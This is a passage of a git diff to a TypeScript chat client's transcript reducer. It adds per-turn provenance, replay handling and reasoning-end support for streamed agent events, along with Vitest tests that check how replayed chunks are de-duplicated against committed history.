+ it("keeps other turns' provisional chunks", () => {
+ let s = [turnStart("t0"), textDelta("t0", "earlier"), doneEvent("t0")].reduce(
+ foldEvent,
+ initialState(),
+ );
+ s = replay(4).reduce(foldEvent, s);
+ s = replay(4).reduce(foldEvent, s);
+ expect(selectChunks(s).map((c) => c.chunk.type)).toEqual([
+ "text",
+ "text",
+ "thinking",
+ "tool-call",
+ ]);
+ });
+});
diff --git a/src/core/chunks/reducer.ts b/src/core/chunks/reducer.ts
index 64e41b9..71df4dd 100644
--- a/src/core/chunks/reducer.ts
+++ b/src/core/chunks/reducer.ts
@@ -1,5 +1,6 @@
import type { AgentEvent, Chunk, ImageInput, Role, StoredChunk } from "@dispatch/wire";
import { assertChunkExhaustive } from "../wire/conformance";
+import { historyBackedProvisional } from "./reconcile";
import type { AccumulatingChunk, ProvisionalChunk, TranscriptState } from "./types";
/** The initial empty transcript state. */
@@ -40,7 +41,59 @@ function flushAccumulating(
if (acc === null) return provisional;
const chunk: Chunk =
acc.kind === "text" ? { type: "text", text: acc.text } : { type: "thinking", text: acc.text };
- return [...provisional, { role: "assistant", chunk }];
+ return [
+ ...provisional,
+ withTurn(
+ { role: "assistant", chunk, ...(acc.stepId !== undefined ? { stepId: acc.stepId } : {}) },
+ acc.turnId,
+ ),
+ ];
+}
+
+/** Attach a `turnId` to a provisional chunk (omitted when unknown). */
+function withTurn(p: ProvisionalChunk, turnId: string | undefined): ProvisionalChunk {
+ return turnId !== undefined ? { ...p, turnId } : p;
+}
+
+/**
+ * Tag the trailing UNTAGGED user run (the sender's optimistic echo, appended
+ * before the server assigned a turn id) with the turn that just started.
+ */
+function tagTrailingUserEcho(
+ provisional: readonly ProvisionalChunk[],
+ turnId: string,
+): readonly ProvisionalChunk[] {
+ let start = provisional.length;
+ while (start > 0) {
+ const p = provisional[start - 1];
+ if (p === undefined || p.role !== "user" || p.turnId !== undefined) break;
+ start--;
+ }
+ if (start === provisional.length) return provisional;
+ return [
+ ...provisional.slice(0, start),
+ ...provisional.slice(start).map((p) => ({ ...p, turnId })),
+ ];
+}
+
+/**
+ * Drop the previous copy of a turn that is being replayed from its start.
+ * Keeps the trailing user run — the opening this replay's `user-message` just
+ * appended (or the sender's echo that `turn-start` just tagged) — and every
+ * other turn's chunks.
+ */
+function dropReplayedTurn(
+ provisional: readonly ProvisionalChunk[],
+ turnId: string,
+): readonly ProvisionalChunk[] {
+ let tail = provisional.length;
+ while (tail > 0 && provisional[tail - 1]?.role === "user") tail--;
+ // A stale steering bubble (replayed again as its own `steering` event) can
+ // end the old copy and so sit inside the trailing user run.
+ const stale = (p: ProvisionalChunk, i: number): boolean =>
+ p.turnId === turnId && (i < tail || p.afterToolCallId !== undefined);
+ if (!provisional.some(stale)) return provisional;
+ return provisional.filter((p, i) => !stale(p, i));
}
/**
@@ -103,8 +156,8 @@ function trailingRun(
/**
* Merge authoritative seq-keyed chunks into the committed history.
* Dedupes by seq (new wins), keeps seq-monotonic order, idempotent.
- * When sealedTurnId is set, drops all provisional chunks (now superseded)
- * and clears sealedTurnId.
+ * A sealed/finally-synced turn supersedes only its own provisional chunks;
+ * unrelated turns and an already-running queued carry remain live.
*
* Chunks below the chat-limit unload watermark (`hiddenBeforeSeq`) are
* REJECTED: a full-cache or tail merge must not resurrect what the trim
@@ -113,6 +166,7 @@ function trailingRun(
export function applyHistory(
state: TranscriptState,
chunks: readonly StoredChunk[],
+ finishedTurnIds: readonly string[] = [],
): TranscriptState {
const seqMap = new Map<number, StoredChunk>();
for (const c of state.committed) seqMap.set(c.seq, c);
@@ -123,14 +177,49 @@ export function applyHistory(
seqMap.set(c.seq, c);
}
const committed = Array.from(seqMap.values()).sort((a, b) => a.seq - b.seq);
+ const identityRows = new Map(seqMap);
+ for (const c of chunks) identityRows.set(c.seq, c);
+ const backed = historyBackedProvisional(
+ state,
+ [...identityRows.values()].sort((a, b) => a.seq - b.seq),
+ );
+ const finished = new Set(finishedTurnIds);
+ if (state.sealedTurnId !== null) finished.add(state.sealedTurnId);
+ state = {
+ ...state,
+ provisional: state.provisional.filter((p) => !backed.has(p) && !finished.has(p.turnId ?? "")),
+ accumulating:
+ state.accumulating?.turnId !== undefined && finished.has(state.accumulating.turnId)
+ ? null
+ : state.accumulating,
+ };
if (state.sealedTurnId !== null) {
+ // Legacy (non-recovery) histories may carry no turn provenance at all.
+ // Retain their seal cleanup, but never erase an already-live queued carry.
+ const legacySeal =
+ (state.historyRecoveryTurnIds?.length ?? 0) === 0 && finishedTurnIds.length === 0;
return {
...state,
committed,
- provisional: [],
- accumulating: null,
+ provisional: legacySeal
+ ? state.provisional.filter(
+ (p) =>
+ state.generating &&
+ p.turnId === state.currentTurnId &&
+ p.turnId !== state.sealedTurnId,
+ )
+ : state.provisional,
+ accumulating:
+ legacySeal && state.accumulating?.turnId === state.sealedTurnId ? null : state.accumulating,
sealedTurnId: null,
+ ...(state.historyRecoveryTurnIds !== undefined
+ ? {
+ historyRecoveryTurnIds: state.historyRecoveryTurnIds.filter(
+ (id) => !finishedTurnIds.includes(id),
+ ),
+ }
+ : {}),
};
}
@@ -141,7 +230,14 @@ export function applyHistory(
// match the trailing provisional user-run against the trailing committed
// user-run by content equality and drop the whole echo when it is fully
// backed. Leaves the accumulating (streaming) chunk untouched.
- if (addedNew && state.generating && state.provisional.length > 0) {
+ if (
+ addedNew &&
+ state.generating &&
+ state.provisional.length > 0 &&
+ !state.provisional.some(
+ (p) => p.turnId !== undefined && state.historyRecoveryTurnIds?.includes(p.turnId),
+ )
+ ) {
const provRun = trailingRun(state.provisional, "user");
if (provRun.length > 0) {
const commRun = trailingRun(committed, "user");
@@ -153,7 +249,11 @@ export function applyHistory(
commRun.length >= provRun.length &&
provRun.every((p, i) => {
const c = commRun[i];
- return c !== undefined && chunkContentEquals(p.chunk, c.chunk);
+ return (
+ c !== undefined &&
+ (c.turnId === undefined || p.turnId === undefined || c.turnId === p.turnId) &&
+ chunkContentEquals(p.chunk, c.chunk)
+ );
});
if (fullyBacked) {
const dropStart = state.provisional.length - provRun.length;
@@ -163,7 +263,17 @@ export function applyHistory(
}
}
- return { ...state, committed };
+ return {
+ ...state,
+ committed,
+ ...(state.historyRecoveryTurnIds !== undefined
+ ? {
+ historyRecoveryTurnIds: state.historyRecoveryTurnIds.filter(
+ (id) => !finishedTurnIds.includes(id),
+ ),
+ }
+ : {}),
+ };
}
/**
@@ -174,6 +284,8 @@ export function applyHistory(
* optimistic echo) so a watcher renders it mid-turn.
* - `text-delta` extends the current accumulating TextChunk (or starts one).
* - `reasoning-delta` extends the current accumulating ThinkingChunk (or starts one).
+ * - `reasoning-end` closes the open ThinkingChunk as its own chunk; with none open
+ * (a redacted/empty block) it appends an empty thinking chunk, mirroring history.
* - `tool-call` / `tool-result` / `error` finalize any accumulating chunk and
* add a new provisional chunk.
* - `steering` appends a user bubble mid-turn (drained from the message queue
@@ -198,8 +310,26 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
case "tool-output":
return state;
- case "turn-start":
- return { ...state, currentTurnId: event.turnId, generating: true };
+ case "turn-start": {
+ // A turn starts exactly once live, so a `turn-start` for a turn that
+ // already has provisional content is a late-join REPLAY restarting from
+ // the top (re-subscribe after a tab switch / WS reconnect): the server
+ // re-delivers the whole in-flight turn. Replace the stale copy instead of
+ // appending a second one (a duplicate copy rendered as a tail of thinking
+ // blocks with its tool cards collapsed onto the first copy's).
+ const stale = state.accumulating?.turnId === event.turnId;
+ const provisional = tagTrailingUserEcho(
+ flushAccumulating(state.provisional, stale ? null : state.accumulating),
+ event.turnId,
+ );
+ return {
+ ...state,
+ provisional: dropReplayedTurn(provisional, event.turnId),
+ accumulating: null,
+ currentTurnId: event.turnId,
+ generating: true,
+ };
+ }
case "user-message": {
// The turn's USER prompt, surfaced on the event stream (backend CR-3) so a
@@ -215,14 +345,37 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
// text) emits no `user-message` and is not de-duped here.
if (event.text.length === 0) return state;
const run = trailingRun(state.provisional, "user");
- const alreadyEchoed = run.some((p) => p.chunk.type === "text" && p.chunk.text === event.text);
- if (alreadyEchoed) {
- return { ...state, generating: true };
+ const echoed = run.find(
+ (p) =>
+ (p.turnId === undefined || p.turnId === event.turnId) &&
+ p.chunk.type === "text" &&
+ p.chunk.text === event.text,
+ );
+ if (echoed !== undefined) {
+ return {
+ ...state,
+ // Preserve the live text independently of the local send. A delayed
+ // queued ack may remove its images, but cannot erase this server event.
+ provisional: tagTrailingUserEcho(state.provisional, event.turnId).map((p) => {
+ if (p.chunk !== echoed.chunk) return p;
+ const { localRequestId: _local, ...confirmed } = p;
+ return { ...confirmed, opening: true };
+ }),
+ generating: true,
+ };
}
const provisional = flushAccumulating(state.provisional, state.accumulating);
return {
...state,
- provisional: [...provisional, { role: "user", chunk: { type: "text", text: event.text } }],
+ provisional: [
+ ...provisional,
+ {
+ role: "user",
+ chunk: { type: "text", text: event.text },
+ turnId: event.turnId,
+ opening: true,
+ },
+ ],
accumulating: null,
generating: true,
};
@@ -230,10 +383,10 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
case "text-delta": {
const acc = state.accumulating;
- if (acc !== null && acc.kind === "text") {
+ if (acc !== null && acc.kind === "text" && acc.turnId === event.turnId) {
return {
...state,
- accumulating: { kind: "text", text: acc.text + event.delta },
+ accumulating: { ...acc, text: acc.text + event.delta },
generating: true,
};
}
@@ -241,17 +394,17 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
return {
...state,
provisional,
- accumulating: { kind: "text", text: event.delta },
+ accumulating: { kind: "text", text: event.delta, turnId: event.turnId },
generating: true,
};
}
case "reasoning-delta": {
const acc = state.accumulating;
- if (acc !== null && acc.kind === "thinking") {
+ if (acc !== null && acc.kind === "thinking" && acc.turnId === event.turnId) {
return {
...state,
- accumulating: { kind: "thinking", text: acc.text + event.delta },
+ accumulating: { ...acc, text: acc.text + event.delta },
generating: true,
};
}
@@ -259,7 +412,31 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
return {
...state,
provisional,
- accumulating: { kind: "thinking", text: event.delta },
+ accumulating: { kind: "thinking", text: event.delta, turnId: event.turnId },
+ generating: true,
+ };
+ }
+
+ case "reasoning-end": {
+ const acc = state.accumulating;
+ // Close the open thinking block of this turn: flush it as its own provisional chunk.
+ if (acc !== null && acc.kind === "thinking" && acc.turnId === event.turnId) {
+ return {
+ ...state,
+ provisional: flushAccumulating(state.provisional, acc),
+ accumulating: null,
+ generating: true,
+ };
+ }
+ // No open thinking (a redacted/empty block with no deltas): history persists an
+ // EMPTY thinking chunk for it, so mirror that 1:1.
+ return {
+ ...state,
+ provisional: [
+ ...flushAccumulating(state.provisional, acc),
+ { role: "assistant", chunk: { type: "thinking", text: "" }, turnId: event.turnId },
+ ],
+ accumulating: null,
generating: true,
};
}
@@ -275,7 +452,7 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
};
return {
...state,
- provisional: [...provisional, { role: "assistant", chunk }],
+ provisional: [...provisional, { role: "assistant", chunk, turnId: event.turnId }],
accumulating: null,
generating: true,
};
@@ -293,7 +470,7 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
};
return {
...state,
- provisional: [...provisional, { role: "tool", chunk }],
+ provisional: [...provisional, { role: "tool", chunk, turnId: event.turnId }],
accumulating: null,
generating: true,
};
@@ -307,7 +484,7 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
: { type: "error", message: event.message };
return {
...state,
- provisional: [...provisional, { role: "assistant", chunk }],
+ provisional: [...provisional, { role: "assistant", chunk, turnId: event.turnId }],
accumulating: null,
generating: false,
};
@@ -317,8 +494,24 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
return { ...state, latestUsage: event.usage };
case "step-complete":
- // Timing metadata — no content chunk; handled by the telemetry reducer.
- return state;
+ // A persistence boundary may lag this notification. Stamp provenance and
+ // finish the generation chunk, but keep it until history really backs it.
+ return {
+ ...state,
+ provisional: flushAccumulating(state.provisional, state.accumulating),
+ accumulating: null,
+ };
+
+ case "turn-ended":
+ return {
+ ...state,
+ provisional:
+ state.accumulating?.turnId === event.turnId
+ ? flushAccumulating(state.provisional, state.accumulating)
+ : state.provisional,
+ accumulating: state.accumulating?.turnId === event.turnId ? null : state.accumulating,
+ generating: state.currentTurnId === event.turnId ? false : state.generating,
+ };
case "done": {
const provisional = flushAccumulating(state.provisional, state.accumulating);
@@ -350,9 +543,22 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
// into the transcript by the sender).
if (event.text.length === 0) return state;
const provisional = flushAccumulating(state.provisional, state.accumulating);
+ const preceding = [...state.committed, ...provisional]
+ .reverse()
+ .find((p) => p.turnId === event.turnId && p.chunk.type === "tool-result");
+ const afterToolCallId =
+ preceding?.chunk.type === "tool-result" ? preceding.chunk.toolCallId : undefined;
return {
...state,
- provisional: [...provisional, { role: "user", chunk: { type: "text", text: event.text } }],
+ provisional: [
+ ...provisional,
+ {
+ role: "user",
+ chunk: { type: "text", text: event.text },
+ turnId: event.turnId,
+ ...(afterToolCallId !== undefined ? { afterToolCallId } : {}),
+ },
+ ],
accumulating: null,
generating: true,
};
@@ -367,6 +573,9 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
// (already true from `turn-start`) is left untouched.
return { ...state, providerRetry: event };
}
+
+ default:
+ return state; // Forward-compatible with additive wire events.
}
}
@@ -385,14 +594,37 @@ const RETRY_CLEARING_EVENTS: ReadonlySet<AgentEvent["type"]> = new Set([
"turn-start",
"text-delta",
"reasoning-delta",
+ "reasoning-end",
"tool-call",
"tool-result",
"error",
"done",
"turn-sealed",
+ "turn-ended",
]);
export function foldEvent(state: TranscriptState, event: AgentEvent): TranscriptState {
+ if (
+ event.type === "tool-call" ||
+ event.type === "tool-result" ||
+ event.type === "step-complete"
+ ) {
+ state = {
+ ...state,
+ provisional: state.provisional.map((p) =>
+ p.turnId === event.turnId &&
+ p.role === "assistant" &&
+ p.stepId === undefined &&
+ (p.chunk.type === "text" || p.chunk.type === "thinking")
+ ? { ...p, stepId: event.stepId }
+ : p,
+ ),
+ accumulating:
+ state.accumulating?.turnId === event.turnId
+ ? { ...state.accumulating, stepId: event.stepId }
+ : state.accumulating,
+ };
+ }
const next = reduceEvent(state, event);
if (event.type === "provider-retry") return next; // set by reduceEvent; not a clearing event
if (RETRY_CLEARING_EVENTS.has(event.type) && state.providerRetry !== null) {
@@ -419,6 +651,7 @@ export function appendUserMessage(
state: TranscriptState,
text: string,
images?: readonly ImageInput[],
+ localRequestId?: string,
): TranscriptState {
const provisional = flushAccumulating(state.provisional, state.accumulating);
const userChunks: Chunk[] = [];
@@ -440,7 +673,35 @@ export function appendUserMessage(
}
return {
...state,
- provisional: [...provisional, ...userChunks.map((chunk) => ({ role: "user", chunk }) as const)],
+ provisional: [
+ ...provisional,
+ ...userChunks.map(
+ (chunk) =>
+ ({
+ role: "user",
+ chunk,
+ ...(localRequestId !== undefined ? { localRequestId } : {}),
+ }) as const,
+ ),
+ ],
accumulating: null,
};
}
+
+/** Remove only still-local artifacts of one accepted queued send; never history/live text. */
+export function removeLocalEcho(state: TranscriptState, requestId: string): TranscriptState {
+ const provisional = state.provisional.filter((p) => p.localRequestId !== requestId);
+ return provisional.length === state.provisional.length ? state : { ...state, provisional };
+}
+
+/** A resync notice is lifecycle evidence, never fabricated transcript content. */
+export function markHistoryRecovering(state: TranscriptState, turnId: string): TranscriptState {
+ return {
+ ...state,
+ currentTurnId: turnId,
+ generating: true,
+ historyRecoveryTurnIds: state.historyRecoveryTurnIds?.includes(turnId)
+ ? state.historyRecoveryTurnIds
+ : [...(state.historyRecoveryTurnIds ?? []), turnId],
+ };
+}
diff --git a/src/core/chunks/selectors.test.ts b/src/core/chunks/selectors.test.ts
new file mode 100644
index 0000000..90bb5cc
--- /dev/null
+++ b/src/core/chunks/selectors.test.ts
@@ -0,0 +1,373 @@
+import type { AgentEvent, StepId, StoredChunk } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import { applyHistory, foldEvent, initialState, markHistoryRecovering } from "./reducer";
+import { selectChunks } from "./selectors";
+import { trimTranscript } from "./trim";
+import type { TranscriptState } from "./types";
+
+const C = "conv";
+const T = "turn-1";
+
+function fold(state: TranscriptState, events: readonly AgentEvent[]): TranscriptState {
+ return events.reduce(foldEvent, state);
+}
+
+const turnStart: AgentEvent = { type: "turn-start", conversationId: C, turnId: T };
+const userMsg: AgentEvent = { type: "user-message", conversationId: C, turnId: T, text: "hi" };
+const think = (delta: string): AgentEvent => ({
+ type: "reasoning-delta",
+ conversationId: C,
+ turnId: T,
+ delta,
+});
+const thinkEnd: AgentEvent = { type: "reasoning-end", conversationId: C, turnId: T };
+const text = (delta: string): AgentEvent => ({
+ type: "text-delta",
+ conversationId: C,
+ turnId: T,
+ delta,
+});
+const call = (id: string, step = 0): AgentEvent => ({
+ type: "tool-call",
+ conversationId: C,
+ turnId: T,
+ stepId: `${T}#${step}` as StepId,
+ toolCallId: id,
+ toolName: "run_shell",
+ input: {},
+});
+const result = (id: string, step = 0): AgentEvent => ({
+ type: "tool-result",
+ conversationId: C,
+ turnId: T,
+ stepId: `${T}#${step}` as StepId,
+ toolCallId: id,
+ toolName: "run_shell",
+ content: "ok",
+ isError: false,
+});
+
+/** The persisted chunks for steps 0 (user + think + call/result). */
+const committedStep0: StoredChunk[] = [
+ { seq: 1, role: "user", chunk: { type: "text", text: "hi" }, turnId: T },
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "plan" }, turnId: T },
+ {
+ seq: 3,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: {},
+ stepId: `${T}#0` as StepId,
+ },
+ turnId: T,
+ },
+ {
+ seq: 4,
+ role: "tool",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "ok",
+ isError: false,
+ stepId: `${T}#0` as StepId,
+ },
+ turnId: T,
+ },
+];
+
+describe("selectChunks — de-dup of a late-join replay against committed history", () => {
+ it("hides replayed provisional chunks already persisted for the in-flight turn", () => {
+ // Fresh load mid-turn: history has step 0; the replay re-delivers step 0
+ // and then step 1 (still streaming).
+ let s = applyHistory(initialState(), committedStep0);
+ s = fold(s, [
+ userMsg,
+ turnStart,
+ think("pl"),
+ think("an"),
+ call("a"),
+ result("a"),
+ text("now"),
+ ]);
+
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "tool-call"],
+ [4, "tool-result"],
+ [null, "text"],
+ ]);
+ expect(rendered[4]?.streaming).toBe(true);
+ });
+
+ it("keeps provisional chunks beyond the committed run", () => {
+ let s = applyHistory(initialState(), committedStep0);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), call("b", 1)]);
+ const rendered = selectChunks(s);
+ expect(rendered).toHaveLength(5);
+ expect(rendered[4]?.chunk).toMatchObject({ type: "tool-call", toolCallId: "b" });
+ expect(rendered[4]?.provisional).toBe(true);
+ });
+
+ it("hides the accumulating chunk once its content is committed", () => {
+ const committed: StoredChunk[] = [
+ ...committedStep0,
+ { seq: 5, role: "assistant", chunk: { type: "text", text: "final" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), text("final")]);
+ const rendered = selectChunks(s);
+ expect(rendered).toHaveLength(5);
+ expect(rendered.every((r) => !r.provisional)).toBe(true);
+ });
+
+ it("stops de-duping at the first mismatch (never hides divergent content)", () => {
+ let s = applyHistory(initialState(), committedStep0);
+ s = fold(s, [userMsg, turnStart, think("DIFFERENT"), call("a"), result("a")]);
+ const rendered = selectChunks(s);
+ // user echo matched (1 hidden); everything from the mismatch on is shown.
+ expect(rendered.filter((r) => r.provisional)).toHaveLength(3);
+ });
+
+ it("preserves an uncommitted accumulating tail even when its text repeats history", () => {
+ const committed: StoredChunk[] = [
+ ...committedStep0,
+ { seq: 5, role: "assistant", chunk: { type: "text", text: "final" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = markHistoryRecovering(s, T);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), text("final")]);
+ const rendered = selectChunks(s);
+ expect(rendered).toHaveLength(6);
+ expect(rendered.slice(0, 5).every((r) => !r.provisional)).toBe(true);
+ expect(rendered[5]).toMatchObject({
+ provisional: true,
+ streaming: true,
+ chunk: { type: "text", text: "final" },
+ });
+ });
+
+ it("reconciles the same step identity even when provisional payload differs", () => {
+ let s = applyHistory(initialState(), committedStep0);
+ s = markHistoryRecovering(s, T);
+ s = fold(s, [userMsg, turnStart, think("DIFFERENT"), call("a"), result("a")]);
+ const rendered = selectChunks(s);
+ // Authoritative identity wins; payload equality cannot identify omitted/truncated content.
+ expect(rendered.filter((r) => r.provisional)).toHaveLength(0);
+ expect(rendered.map((r) => r.chunk)).toEqual(committedStep0.map((r) => r.chunk));
+ });
+
+ it("does nothing when the committed tail belongs to another turn", () => {
+ const other = committedStep0.map((c) => ({ ...c, turnId: "older" }));
+ let s = applyHistory(initialState(), other);
+ s = fold(s, [userMsg, turnStart, think("plan")]);
+ expect(selectChunks(s).filter((r) => r.provisional)).toHaveLength(2);
+ });
+
+ it("de-dups the replay when the committed turn's head was unloaded (windowed/trimmed)", () => {
+ // A long in-flight turn: the chat-limit window/trim unloaded the turn's
+ // head (seq 1–2), so the committed run starts mid-turn while the late-join
+ // replay re-delivers the WHOLE turn from its opening. Positional alignment
+ // from the turn start fails at index 0; without re-anchoring, the whole
+ // replay rendered as a duplicate whose tool cards collapsed onto the
+ // committed ones — leaving a tail of thinking blocks with no tool calls.
+ let s = trimTranscript(applyHistory(initialState(), committedStep0), 2);
+ expect(s.committed.map((c) => c.seq)).toEqual([3, 4]);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), think("next")]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [3, "tool-call"],
+ [4, "tool-result"],
+ [null, "thinking"],
+ ]);
+ expect(rendered[2]).toMatchObject({ streaming: true, chunk: { text: "next" } });
+ });
+
+ it("de-dups when the provisional replay starts after the committed run's head", () => {
+ // Provisional trimmed past the committed head (e.g. committed restored via
+ // "Show earlier" after an all-provisional overflow): re-anchor on the
+ // provisional head instead.
+ let s = applyHistory(initialState(), committedStep0);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), call("b", 1)]);
+ s = { ...s, provisional: s.provisional.slice(2) }; // drop user + thinking
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "tool-call"],
+ [4, "tool-result"],
+ [null, "tool-call"],
+ ]);
+ });
+
+ it("re-anchors on a persisted tool call even if the replay diverges after it", () => {
+ // A toolCallId is a unique identity: everything the replay delivered before
+ // it was persisted earlier in the turn (append-only), so it is unloaded
+ // history — not divergent content. The divergence itself stays visible.
+ let s = applyHistory(initialState(), committedStep0.slice(2));
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("OTHER")]);
+ const provisional = selectChunks(s).filter((r) => r.provisional);
+ expect(provisional.map((r) => r.chunk)).toMatchObject([
+ { type: "tool-result", toolCallId: "OTHER" },
+ ]);
+ });
+
+ it("does not re-anchor on an unverified text match (never hides divergent content)", () => {
+ const committed: StoredChunk[] = [
+ { seq: 7, role: "assistant", chunk: { type: "thinking", text: "plan" }, turnId: T },
+ { seq: 8, role: "assistant", chunk: { type: "text", text: "persisted" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = fold(s, [userMsg, turnStart, think("plan"), text("diverged"), call("z")]);
+ // "plan" matches but the next chunk diverges: no anchor → nothing hidden.
+ expect(selectChunks(s).filter((r) => r.provisional)).toHaveLength(4);
+ });
+
+ it("steps over persisted images the replay can never carry", () => {
+ // A tool attached an image mid-turn: history persists it as a user image
+ // chunk, but no live event carries it, so the replay lacks it.
+ const image: StoredChunk = {
+ seq: 5,
+ role: "user",
+ chunk: { type: "image", url: "/images/conv/x.png" },
+ turnId: T,
+ };
+ const thinking: StoredChunk = {
+ seq: 6,
+ role: "assistant",
+ chunk: { type: "thinking", text: "look" },
+ turnId: T,
+ };
+ let s = applyHistory(initialState(), [...committedStep0, image, thinking]);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), think("look")]);
+ s = fold(s, [call("b", 1)]);
+ const provisional = selectChunks(s).filter((r) => r.provisional);
+ expect(provisional.map((r) => r.chunk)).toMatchObject([{ type: "tool-call", toolCallId: "b" }]);
+ });
+
+ it("matches one merged thinking block against its split committed blocks (Claude)", () => {
+ // Claude may return several thinking blocks in one step; history persists
+ // each as its own chunk, but reasoning-deltas carry no block boundary, so
+ // the replay delivers them merged into one thinking chunk.
+ const split: StoredChunk[] = [
+ committedStep0[0] as StoredChunk,
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "first. " }, turnId: T },
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 4 },
+ { ...(committedStep0[3] as StoredChunk), seq: 5 },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [userMsg, turnStart, think("first. "), think("second."), call("a"), result("a")]);
+ s = fold(s, [think("next")]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "thinking"],
+ [4, "tool-call"],
+ [5, "tool-result"],
+ [null, "thinking"],
+ ]);
+ });
+
+ it("hides an accumulating merged block once its split blocks are committed", () => {
+ const split: StoredChunk[] = [
+ ...committedStep0,
+ { seq: 5, role: "assistant", chunk: { type: "thinking", text: "a" }, turnId: T },
+ { seq: 6, role: "assistant", chunk: { type: "thinking", text: "b" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), think("ab")]);
+ expect(selectChunks(s).every((r) => !r.provisional)).toBe(true);
+ });
+
+ it("re-anchors on a tool chunk when the window cut between split blocks", () => {
+ // The committed head is the SECOND of two split blocks: it equals no
+ // provisional chunk, so alignment anchors on the run's first tool chunk.
+ const committed: StoredChunk[] = [
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 4 },
+ { ...(committedStep0[3] as StoredChunk), seq: 5 },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = fold(s, [userMsg, turnStart, think("first. second."), call("a"), result("a")]);
+ s = fold(s, [call("b", 1)]);
+ const provisional = selectChunks(s).filter((r) => r.provisional);
+ expect(provisional.map((r) => r.chunk)).toMatchObject([{ type: "tool-call", toolCallId: "b" }]);
+ });
+
+ it("aligns a boundary-carrying replay 1:1 against split committed blocks", () => {
+ const split: StoredChunk[] = [
+ committedStep0[0] as StoredChunk,
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "first. " }, turnId: T },
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 4 },
+ { ...(committedStep0[3] as StoredChunk), seq: 5 },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [
+ userMsg,
+ turnStart,
+ think("first. "),
+ thinkEnd,
+ think("second."),
+ thinkEnd,
+ call("a"),
+ result("a"),
+ text("next"),
+ ]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "thinking"],
+ [4, "tool-call"],
+ [5, "tool-result"],
+ [null, "text"],
+ ]);
+ expect(rendered[5]?.streaming).toBe(true);
+ });
+
+ it("aligns a redacted empty block with a bare reasoning-end", () => {
+ const split: StoredChunk[] = [
+ committedStep0[0] as StoredChunk,
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "first. " }, turnId: T },
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "" }, turnId: T },
+ { seq: 4, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 5 },
+ { ...(committedStep0[3] as StoredChunk), seq: 6 },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [
+ userMsg,
+ turnStart,
+ think("first. "),
+ thinkEnd,
+ thinkEnd,
+ think("second."),
+ thinkEnd,
+ call("a"),
+ result("a"),
+ text("next"),
+ ]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "thinking"],
+ [4, "thinking"],
+ [5, "tool-call"],
+ [6, "tool-result"],
+ [null, "text"],
+ ]);
+ });
+
+ it("is the identity when there is no committed history", () => {
+ const s = fold(initialState(), [userMsg, turnStart, text("hello")]);
+ expect(selectChunks(s)).toHaveLength(2);
+ });
+});
diff --git a/src/core/chunks/selectors.ts b/src/core/chunks/selectors.ts
index e46d5f5..8d32fcf 100644
--- a/src/core/chunks/selectors.ts
+++ b/src/core/chunks/selectors.ts
@@ -1,24 +1,278 @@
-import type { ChatMessage, Chunk, TurnProviderRetryEvent } from "@dispatch/wire";
-import type { RenderedChunk, TranscriptState } from "./types";
